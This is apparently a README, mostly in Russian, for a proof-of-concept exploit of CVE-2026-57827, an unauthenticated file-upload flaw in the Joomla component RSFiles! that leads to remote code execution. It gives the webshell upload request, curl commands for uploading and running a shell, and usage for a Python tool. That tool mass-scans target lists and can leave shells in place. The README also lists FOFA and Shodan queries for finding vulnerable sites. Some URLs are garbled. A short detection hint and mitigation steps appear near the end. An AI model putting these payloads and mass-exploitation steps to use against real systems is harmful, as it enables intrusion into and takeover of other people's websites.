candisexterior171/cve-2026-57827Продемонстрируйте уязвимость неаутентифицированного удаленного выполнения кода в компоненте RSFiles! для Joomla через произвольную загрузку файлов.
CVE-2026-57827 — это критическая уязвимость (CVSS 9.8) неаутентифицированной произвольной загрузки файлов в RSFiles! (com_rsfiles), широко используемом компоненте файлового менеджера и загрузок для Joomla, версии < 1.17.12.
Уязвимость эксплуатирует недостаток дизайна с разделённым контроллером: RSFiles! разделяет загрузку на две фронтенд-задачи — предварительную проверку (контроль прав + белый список расширений) и метод записи (сохраняет файл на диск). Метод записи может быть вызван напрямую, полностью обходя предварительную проверку. Аутентификация не требуется, CSRF-токен не нужен.
| Версия | Статус |
|---|---|
| < 1.17.12 | Уязвима |
| 1.17.12+ | Исправлена |
Обнаружено: Phil Taylor, mySites.guru (10 июля 2026 г.) Производитель: RSJoomla (rsjoomla.com) Компонент: com_rsfiles
RSFiles! разделяет загрузку на две отдельные фронтенд-задачи в /components/com_rsfiles/controllers/rsfiles.php:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload, полностью обходя предварительную проверку.JFile::upload()), который по умолчанию принимает любой тип файла..htaccess, который предотвратил бы выполнение PHP в ней, является опциональной настройкой администратора, которая по умолчанию выключена.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| Файл | Назначение |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Контроллер с уязвимыми задачами upload() и checkupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | Шаблон формы загрузки на фронтенде (подтверждено: name="file", task=rsfiles.upload) |
/downloads/ | Папка загрузок по умолчанию в корне веб-сайта (защита .htaccess по умолчанию ВЫКЛЮЧЕНА) |
/briefcase/ | Папка Briefcase (также доступна для записи) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
Проверки безопасности (шлюз разрешений + список разрешённых расширений) представляют собой отдельный предварительный шаг, отличный от метода, который фактически записывает файл. Только первый содержит проверки. Второй — тот, что пишет на диск, — можно вызвать напрямую, сформировав правильный параметр task в URL, обойдя все средства контроля безопасности.
Это хрестоматийный пример антипаттерна «проверки и действия в разных местах»: защитный механизм и операция, которую он должен защищать, разъединены, и злоумышленник может добраться до операции, не проходя через защитный механизм.
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Шаг 1 — Загрузка шелла
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Шаг 2 — Получите доступ к оболочке
curl 'https://candisexterior171.github.io'
Шаг 3 — Выполнение команд
curl 'https://candisexterior171.github.io;hostname;uname -a'
Смягчение последствий (если обновление невозможно)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"